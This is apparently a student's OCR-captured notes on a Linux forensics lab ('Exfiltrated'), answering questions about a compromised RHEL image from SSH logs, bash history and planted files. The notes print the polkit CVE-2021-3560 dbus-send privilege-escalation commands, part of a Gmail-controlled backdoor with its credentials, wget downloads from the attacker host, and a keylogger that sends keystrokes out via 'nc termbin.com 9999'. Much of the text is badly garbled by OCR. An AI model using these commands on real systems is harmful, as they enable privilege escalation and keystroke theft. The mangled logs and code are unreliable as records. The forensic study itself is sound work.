Exfiltrated

Thursday, March 17, 2022 10:57 PM

```
Mounthesystemimage rootself to a control of the system of 
              oot@siftworkstation:~# ls -lh /mnt/ewf_mount/
          root@siftworkstation:-# mount /mnt/ewf mount/ewf1 /cases/
root@siftworkstation:-# cd /home/sansforensics/Desktop/case
-bash: cd: /home/sansforensics/Desktop/case: No such file or directory
root@siftworkstation:-# cd /home/sansforensics/Desktop/case
case02/ cases/
root@siftworkstation:-# cd /home/sansforensics/Desktop/cases/
root@siftworkstation:-# cd /home/sansforensics/Desktop/cases/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      opt proc root run sbin srv sys top usr va
        root@siftworkstation:/home/sansforensics/Desktop/cases#
  What is the RHEL version installed on the machine?
  www.state.net/vestation:/home/sansforensics/Desktop/cases/etc# cat redhat-release
Red Hat Enterprise Linux release 8.4 (Ootpa)
                              mmnyusersnave anggmanen:
t@siftworkstation:/home/sansforensics/Desktop/cases/etc# grep -i "/bin/bash" passwd
        oot@siftworkstation:/home/sams!oremstcs/beshtop/casts/
root:x:0:0:root:/root:/ass/bash
ryberdefenders:x:1000:1000:cyberdefenders:/home/cyberdefenders:
rossatron:x:1001:1001::/home/cossatron:/btm/bash
rhandler:x:1002:1002::/home/samdler:/btm/bash
tribbiani.j:x:1003:1003::/home/tribbiani.j:/btm/bash
rachel:x:1004:1004:Anon:/home/rachel:/btm/bash
    ## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL
                          t@siftworkstation:/home/sansforensics/Desktop/cases/etc# grep
  whmels:x:10:cyberdefenders,rachel
root@siftworkstation:/home/sansforensics/Desktop/cases/etc#
      What is the 'rossatron' user password? 
ohnthe ripper -> wordlist -> rachelgree
              oot@siftworkstation:/home/sansforensics/Desktop/cases/var/
                                                                                                                                                                                                                                                                                                                                                                                                                                s/var/log# grep -i "Connection fron" secure
192.168.196.128 port 48762 on 192.168.196.129 port 22
192.168.196.128 port 48764 on 192.168.196.129 port 22
192.168.196.128 port 49550 on 192.168.196.129 port 22
    root@stftworkstatton:/home/sansforenstcs/Desktop/cases/var/log#
Aug 24 08:23:59 localhost sshd[2979]: commection from 192.168.15
Aug 24 08:50:39 localhost sshd[3005]: commection from 192.168.15
Aug 24 09:10:38 localhost sshd[2217]: commection from 192.168.15
root@stftworkstatton:/home/sansforensics/Desktop/cases/var/log#
                                                                                                                                                                                                                                                                       ensics/Desktop/cases/var/log# grep -1 "Fatled password" secure

34]: Balted password for invalid user ross from 192.168.196.128 port 37028 ssh2

35]: Balted password for invalid user ross from 192.168.196.128 port 37024 ssh2

36]: Balted password for invalid user ross from 192.168.196.128 port 37024 ssh2

33]: Salted password for invalid user ross from 192.168.196.128 port 37024 ssh2

33]: Salted password for invalid user ross from 192.168.196.128 port 37024 ssh2

34]: Salted password for invalid user ross from 192.168.196.128 port 37028 ssh2

36]: Salted password for invalid user ross from 192.168.196.128 port 37028 ssh2

33]: Salted password for invalid user ross from 192.168.196.128 port 37022 ssh2

33]: Salted password for invalid user ross from 192.168.196.128 port 37022 ssh2

34]: Salted password for invalid user ross from 192.168.196.128 port 37022 ssh2

35]: Salted password for invalid user ross from 192.168.196.128 port 37022 ssh2

36]: Salted password for invalid user ross from 192.168.196.128 port 37028 ssh2

36]: Salted password for invalid user ross from 192.168.196.128 port 37028 ssh2

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36]: Salted password for invalid user ross from 192.168.196.128 port 37028 ssh2

36]: Salted password for invalid user ross from 192.168.196.128 port 37024 ssh2

36]: Salted password for invalid user ross from 192.168.196.128 port 37024 ssh2

37]: Salted password for invalid user ross from 192.168.196.128 port 37024 ssh2

38]: Salted password for invalid user ross from 192.168.196.128 port 37024 ssh2

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38]: Salted password for invalid user ross from 192.168.196.128 port 37024 ssh2

38]: Salted password for invalid user 
                    at service did the attacker use to gain access to the sy.

ot@siftworkstation:/hone/sansforensid;

g 23 14:02:04 localhost sshd[40134];

g 23 14:02:04 localhost sshd[40136];

g 23 14:02:04 localhost sshd[40136];

g 23 14:02:05 localhost sshd[40136];

g 23 14:02:07 localhost sshd[40136];

g 23 14:02:10 localhost sshd[40136];

g 23 14:02:11 localhost sshd[40136];

g 23 14:02:15 localhost sshd[40136];

g 23 14:02:15 localhost sshd[40136];

g 23 14:02:15 localhost sshd[40136];

g 23 14:02:55 localhost sshd[40144];

g 23 14:02:55 localhost sshd[40146];

g 23 14:03:06 localhost sshd[40146];

g 23 14:0
What service did the attacker use to gain access to the system?
    Aug 23 14:03:58 localhost sshd[40322]: Falled password for chandler from 
Aug 23 14:03:58 localhost sshd[40324]: Falled password for chandler from 
Aug 23 14:03:58 localhost sshd[40326]: Falled password for chandler from 
Aug 23 14:03:58 localhost sshd[40318]: Falled password for chandler from 
Aug 23 14:03:59 localhost sshd[40326]: Accepted password for chandler from
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         port 37070 ssh2
port 37072 ssh2
port 37074 ssh2
port 37068 ssh2
                                                                                                                                                                                                                                                                                                                                                                                    password for rossatron from 192.168.196.128 port 37056 ssh2
                                    23 14:03:10 localhost sshd[40162]:
                                                                                                                                                                                                                                                                                                                                                                       password for rossatron from 192.168.196.128 port 37056 ssh2
password for chandler from 192.168.196.128 port 37074 ssh2
password for chandler from 192.168.196.128 port 37116 ssh2
password for chandler from 192.168.196.128 port 48734 ssh2
password for chandler from 192.168.196.128 port 48742 ssh2
password for chandler from 192.168.196.128 port 48742 ssh2
publickey for chandler from 192.168.196.128 port 48744 ssh2: RSA SHA256:hMkpnF6PyOrGKmMMEZIYWJZPh4La7tt2GlwgyGicGfc
password for chandler from 192.168.196.128 port 48748 ssh2
publickey for chandler from 192.168.196.128 port 48789 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
key RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ found at /home/chandler/.ssh/authortzed_keys:1
publickey for chandler from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsJQ
password for rachel from 192.168.196.128 port 48
                              23 14:03:10 localhost sshd[40162]:
23 14:03:59 localhost sshd[40918]:
23 14:29:59 localhost sshd[40918]:
23 20:33:23 localhost sshd[42491]:
23 20:39:35 localhost sshd[42744]:
23 20:48:44 localhost sshd[43029]:
24 08:03:25 localhost sshd[4101]:
24 08:24:19 localhost sshd[2979]:
24 08:51:30 localhost sshd[3095]:
```

root@siftworkstation:/home/sansforensics/Desktop/cases/home/chandler/.ssh# cat authorized_keys
ssh-rsa AAAABBNIRaciyczEAAAADQABAAABgOC/GUSXBxtwoZN43HpemAL-ywbbeRi0IeHoKqSbZn1HTMkD139VVXv0jIIVvpbWplir/RlBCdJuxC7tMlEw6JU0UKp2k7UXpDa7AcePEWpef1hvUQD1fvBvFkucS3clQMzLSAsqITzhRFFlG4DgVz1HJbBpB9gFGVEF5X1
fSCQyo-rvEx9SwseBeCEOutd13nnoNLExcaca/gA6nXKVKxWpa02AJyHyL diby81w3j.ysh+trVtbpf.YaCp84DsCjfp4BtaC2THJ/ahQDVZ/16j6Vkf-LRTaxtcaTsLSfEkVMZUS1HF+cyDQldMxdqabVkBXUvptKMTH7ECBLRBRAPp4uGIvwH/+QH6Add92JWepKxxBZU7WL72p
wUKLqzW7/u08xX68GSQBvQuiJHcD5bRIeA/QNmoX6KvasyVlBRqVNPlWnZCvLgTbf2DFlnSM+Hd9J07cvPQKEkxxNlvnB7vzxyh/ScM4QTtaG2M9QVHM6KZdLASYwXEdSHhmKu/0f3R4uZ0/GE= mohamed@kali

What is the attacker's IP address?
What authentication attack did the attacker use to gain access on the system?
How many users the attacker was able to bruteforce their password?
When did the attack start? (DD/MM/YYYY)
What is the user used by the attacker to gain initial access to system?
What is the MTRE ID of the technique used by the attacker to achieve persisten
What is the MTRE ID of the technique used by the attacker to achieve persisten

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:rachel string:"Anon" int32:1 & sleep 0.008s ; kill \$!; cat /etc/passwd dbus-send --system --dest=org.freedesktop.Accounts.User.SetPassword string:'\$5\$Fv2PqfurMmI879J7\$AL\$J.w4KTP.mHr htm?E7V3ue\$tpcf/q5fqUlATmMuuB' string:GoldenEye & sleep 0.008s ; kill \$! su - rache

CVE 2021-3560

From < https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/

After gaining more privilege the attacker dropped a backdoor to gain more persistence which receives commands from Gmail account. What is the email used to send commands?

```
Aug 24 08:22:37 localhost crond[1390]: (CRON) INFO (running with innetify support)
Aug 24 08:44:05 localhost erontab[3303]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:44:05 localhost erontab[3303]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:44:05 localhost crontab[3303]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:44:05 localhost crontab[3303]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:44:13 localhost crontab[3303]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:44:06 localhost crontab[3304]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:44:08 localhost crontab[3304]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:45:17 localhost crontab[3304]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:45:17 localhost crontab[3304]: (rachel) BEDIA EDIT (rachel)
Aug 24 08:45:01 localhost crond[1304]: (rachel) EDID EDIT (rachel)
Aug 24 08:45:01 localhost crond[1304]: (rachel) EDID EDIT (rachel)
Aug 24 08:45:01 localhost crond[1304]: (RON) INFO (RANDOM_DELAY will be used instead of sendmail.)
Aug 24 08:45:04:0 localhost crond[1304]: (RON) INFO (RANDOM_DELAY will be scaled with factor 97% if used.)
Aug 24 08:45:04:0 localhost crond[1304]: (RON) INFO (running with inotify support)
Aug 24 08:45:04:0 localhost CROND[1573]: (rachel) CROND (INFO (running with inotify support)
Aug 24 08:45:04:0 localhost CROND[1573]: (rachel) CROND (INFO (running with inotify support)
Aug 24 08:45:04:0 localhost CROND[160]: (rachel) CROND (Full Purk Phi/Piczo, py*, line II)
Aug 24 08:45:04:0 localhost CROND[160]: (rachel) CROND (Full Purk Phi/Piczo, py*, line II)
Aug 24 08:45:04:0 localhost CROND[160]: (rachel) CROND (Full Purk Phi/Piczo, py*, line II)
Aug 24 08:45:04:0 localhost CROND[160]: (rachel) CROND (Full Purk Piczo)
Aug 24 08:35:04:0 localhost crontab[374]: (roch) BEDII (roch)
Aug 24 08:35:05:0 localhost crontab[374]: (roch) BEDII (roch)
Aug 24 08:35:05:0 localhost crontab[374]: (roch) BEDII (roch)
Aug 24 08:35:00 localhost crontab[374]: (roch) BEDII (roch)
Aug 24 08:35:00 localhost crontab[374]: (roch) BEDII (roch)
Aug 24 08:35:00 localhost crontab[376]: (roch) IND (RANDOM_DELAY will be
```

```
root@siftworkstation:/home/sansforensics/Desktop/cases/usr/bin# cat c2c.py
#!/usr/bin/env python

import threading
import smplib
import timaplib
import time
from subprocess import Popen, PIPE

if len(sys.argv) < 3:
    print "improper usage"
    print "%s implant[client <id>" % sys.argv[0]
    extt(1)

elif sys.argv[1] == "implant":
    state = "flient"
elif sys.argv[1] == "client"
elif sys.argv[2] == "client"
state = "client"
state = "client"
    state = "implant"
id = sys.argv[2]

username = 'cdefender16@gmail.com'
passwd = 'dumbledorearmy'

last = ''
```

The attacker downloaded a keylogger to capture users' keystrokes. What is the secret word the attacker was able to exfiltrate?

```
root@siftworkstation:/home/sansforensics/Desktop/mount_points# cat home/rachel/.bash_history
crontab -e
wget http://192.168.196.128/a_p.sh
cat a_p.sh
chmod +x ./a_p.sh
./a_p.sh
reboot
which python2
which python2
wido you install python2
sudo you install python2
sudo crontab -e
which python2
sudo crontab -e
sudo trontab -e
crontab -e
sudo ts /root/
```

```
9 24 08:29:09 localhost su[3206]; pam_untx(su-lisesston); sesston opened for user recibel by chandler(utd-1002)
9 24 08:47:35 localhost sudo[3421]; recoult : TTY-pt7/9; PMD-yhome/ sum; USEB-root; COMMAND-yhin/updt http://i92.168.196.128/czc.py -0 /usr/bin/czc.py
9 24 08:47:35 localhost sudo[3421]; recoult : TTY-pt7/9; PMD-yhome/ sum; USEB-root; COMMAND-yhin/updt http://i92.168.196.128/czc.py -0 /usr/bin/czc.py
2 24 08:51:03 localhost sudo[360]; Accepted password for recoult of customers of cust
```

oot@siftworkstation:/home/sansforensics/Desktop/mount_points/etc# ls -la xfil.py rw-f--r--. 1 root root 457 Aug 24 2621 xfil.py pot@siftworkstation:/home/sansforensics/Desktop/mount_points/etc#

```
siftworkstation:/home/sansforensics/Desktop/mount_points/etc# cat xfil.py
t subprocess, binascii, hashlib, random, string, time
= open("/dev/input/event1","rb")
ec = time.time()
while time.time() < rec+10:
data += f.read(24)
f.close()
.close()
r/int("test")
.ink = subprocess.Popen('echo {} | n
r/int('link)
r/ith open("xfil.txt", "w") as file1:
    # Writing data to a file
    file1.write(link)
file1.close
                    cess.Popen('echo {) | nc termbin.com 9999'.format(data.encode('hex')), shell=True, stdout=subprocess.PIPE).communicate()[0][20:-2]
 oot@siftworkstation:/home/sansforensics/Desktop/mount_points/etc#
```



t@siftworkstation:/home/sansforensics/Desktop/mount_points/home/rachel# ls root@siftworkstation:/home/sansforensics/Desktop/mount_points/home/rachel# cat xfil.txt lof5root@siftworkstation:/home/sansforensics/Desktop/mount_points/home/rachel#





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